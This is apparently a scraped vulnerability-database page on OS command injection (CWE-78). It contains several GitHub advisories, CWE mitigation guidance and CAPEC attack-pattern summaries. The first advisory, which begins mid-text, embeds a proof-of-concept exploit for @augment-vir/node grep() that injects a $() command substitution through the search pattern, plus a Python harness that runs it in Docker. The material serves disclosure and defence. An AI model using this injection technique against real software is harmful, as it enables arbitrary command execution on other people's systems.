\u0027node:fs\u0027;\n\nconst SENTINEL_FILE = \u0027/tmp/augment-vir-poc-triggered\u0027;\n\n// Remove sentinel file if it exists from a previous run\nimport { rmSync } from \u0027node:fs\u0027;\ntry { rmSync(SENTINEL_FILE); } catch {}\n\nconsole.log(\u0027[*] Calling grep() with injected $() command substitution pattern...\u0027);\nconsole.log(\u0027[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match\u0027);\n\ntry {\n  await grep(\n    { pattern: \u0027$(touch /tmp/augment-vir-poc-triggered)no-match\u0027 },\n    { file: \u0027package.json\u0027 },\n  );\n} catch (err) {\n  // grep() may throw due to no matches \u2014 that is expected and irrelevant\n  console.log(\u0027[*] grep() threw (expected when no matches):\u0027, err?.message ?? err);\n}\n\nif (existsSync(SENTINEL_FILE)) {\n  console.log(\u0027\u0027);\n  console.log(\u0027=== VULNERABLE ===\u0027);\n  console.log(\u0027[+] COMMAND INJECTION CONFIRMED: sentinel file exists at\u0027, SENTINEL_FILE);\n  console.log(\u0027[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})\u0027);\n  process.exit(0);\n} else {\n  console.log(\u0027\u0027);\n  console.log(\u0027=== NOT EXPLOITED ===\u0027);\n  console.log(\u0027[-] Sentinel file was NOT created \u2014 injection did not fire.\u0027);\n  process.exit(1);\n}\nEOF\n\nCMD [\"node\", \"/poc/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Shell Command Injection in @augment-vir/node grep()\nCWE-78 \u2014 OS Command Injection\nAffected version: @augment-vir/node@31.73.2\n\nRoot cause:\n  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string\n  using unsanitized caller-supplied searchPattern inside double quotes:\n    ...searchPatterns.map((searchPattern) =\u003e `-e \"${searchPattern}\"`)\n  This command string is passed to spawn(command, { shell: \u0027bash\u0027 }), meaning\n  $() command substitution in the pattern is executed by bash.\n\nSafe usage: This PoC runs entirely inside a local Docker container.\n            No external network attacks, no real credentials, no DoS.\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\nimport json\n\nIMAGE_NAME = \"augment-vir-vuln-001-poc\"\nCONTAINER_NAME = \"augment-vir-vuln-001-run\"\nDOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nBUILD_CMD = f\"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}\"\nRUN_CMD = f\"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}\"\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return CompletedProcess.\"\"\"\n    print(f\"[cmd] {cmd}\")\n    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)\n\n\ndef main():\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Shell Command Injection in grep()\")\n    print(\"Package: @augment-vir/node@31.73.2\")\n    print(\"=\" * 60)\n\n    # Step 1: Build Docker image\n    print(\"\\n[*] Building Docker image...\")\n    build_result = run(BUILD_CMD, timeout=300)\n    if build_result.returncode != 0:\n        print(\"[!] Docker build FAILED\")\n        print(build_result.stdout[-2000:] if build_result.stdout else \"\")\n        print(build_result.stderr[-2000:] if build_result.stderr else \"\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=\"Docker \ube4c\ub4dc \uc2e4\ud328 \u2014 npm install \ub610\ub294 \ub124\ud2b8\uc6cc\ud06c \uc624\ub958\",\n            evidence=build_result.stderr[-1000:],\n        )\n        sys.exit(1)\n    print(\"[+] Docker image built successfully\")\n\n    # Step 2: Run exploit container\n    print(\"\\n[*] Running exploit container...\")\n    run_result = run(RUN_CMD, timeout=120)\n\n    combined_output = run_result.stdout + run_result.stderr\n    print(combined_output)\n\n    # Step 3: Evaluate result\n    vulnerable = \"VULNERABLE\" in combined_output and \"COMMAND INJECTION CONFIRMED\" in combined_output\n\n    if vulnerable:\n        print(\"\\n[+] PASS \u2014 Command injection confirmed inside Docker container\")\n        print(\"[+] The $() substitution in grep() pattern was executed by bash\")\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"Docker \ucee8\ud14c\uc774\ub108 \ub0b4\uc5d0\uc11c grep() \ud328\ud134\uc5d0 \ud3ec\ud568\ub41c $() \uba85\ub839 \uce58\ud658\uc774 bash\uc5d0 \uc758\ud574 \uc2e4\ud589\ub418\uc5c8\uc74c\uc744 \ud655\uc778. \"\n                \"sentinel \ud30c\uc77c /tmp/augment-vir-poc-triggered\uac00 \uc0dd\uc131\ub418\uc5c8\uc73c\uba70 stdout\uc5d0\uc11c \u0027VULNERABLE\u0027 \ubc0f \"\n                \"\u0027COMMAND INJECTION CONFIRMED\u0027 \ubb38\uc790\uc5f4\uc774 \uad00\uce21\ub428.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(0)\n    else:\n        print(\"\\n[-] FAIL \u2014 exploit did not produce expected output\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=(\n                \"\ucee8\ud14c\uc774\ub108 stdout\uc5d0\uc11c \u0027VULNERABLE\u0027 \ub610\ub294 \u0027COMMAND INJECTION CONFIRMED\u0027\uac00 \uad00\uce21\ub418\uc9c0 \uc54a\uc74c. \"\n                \"sentinel \ud30c\uc77c\uc774 \uc0dd\uc131\ub418\uc9c0 \uc54a\uc558\uac70\ub098 grep() \ub3d9\uc791\uc774 \uc608\uc0c1\uacfc \ub2e4\ub97c \uc218 \uc788\uc74c.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(1)\n\n\ndef write_result(passed, verdict, reason, evidence):\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_CMD,\n        \"run_command\": RUN_CMD,\n        \"poc_command\": f\"python3 {os.path.abspath(__file__)}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    out_path = os.path.join(DOCKERFILE_DIR, \"phase2_result.json\")\n    with open(out_path, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[*] Result written to {out_path}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-xvcc-vqjv-phqh",
  "modified": "2026-11-18T16:15:53Z",
  "published": "2026-11-18T16:15:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63496"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/electrovir/augment-vir"
    },
    {
      "type": "WEB",
      "url": "https://github.com/electrovir/augment-vir/releases/tag/v31.73.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`"
}

GHSA-XVF8-4RMQ-W4C4

Vulnerability from github – Published: 2022-08-03 00:00 – Updated: 2022-08-06 00:00
VLAI
Details

This affects all versions of package s3-kilatstorage.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-28424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-02T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "This affects all versions of package s3-kilatstorage.",
  "id": "GHSA-xvf8-4rmq-w4c4",
  "modified": "2022-08-06T00:00:47Z",
  "published": "2022-08-03T00:00:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28424"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-S3KILATSTORAGE-1050396"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVH3-9JPW-QQ2W

Vulnerability from github – Published: 2026-10-20 21:31 – Updated: 2026-10-20 21:31
VLAI
Details

A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-33568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-20T21:17:18Z",
    "severity": "CRITICAL"
  },
  "details": "A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.",
  "id": "GHSA-xvh3-9jpw-qq2w",
  "modified": "2026-10-20T21:31:07Z",
  "published": "2026-10-20T21:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33568"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2026-2391"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XVHC-JJ62-7H84

Vulnerability from github – Published: 2025-08-20 18:30 – Updated: 2025-08-20 18:30
VLAI
Details

The StrongDM Windows service incorrectly handled input validation. Authenticated attackers could potentially exploit this leading to privilege escalation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-6181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T17:15:37Z",
    "severity": "HIGH"
  },
  "details": "The StrongDM Windows service incorrectly handled input validation. Authenticated attackers could potentially exploit this leading to privilege escalation.",
  "id": "GHSA-xvhc-jj62-7h84",
  "modified": "2025-08-20T18:30:22Z",
  "published": "2025-08-20T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6181"
    },
    {
      "type": "WEB",
      "url": "https://security.strongdm.com/?tcuUid=56fde839-9388-4361-8d3b-9baa7b2de2ed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Mitigation
Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.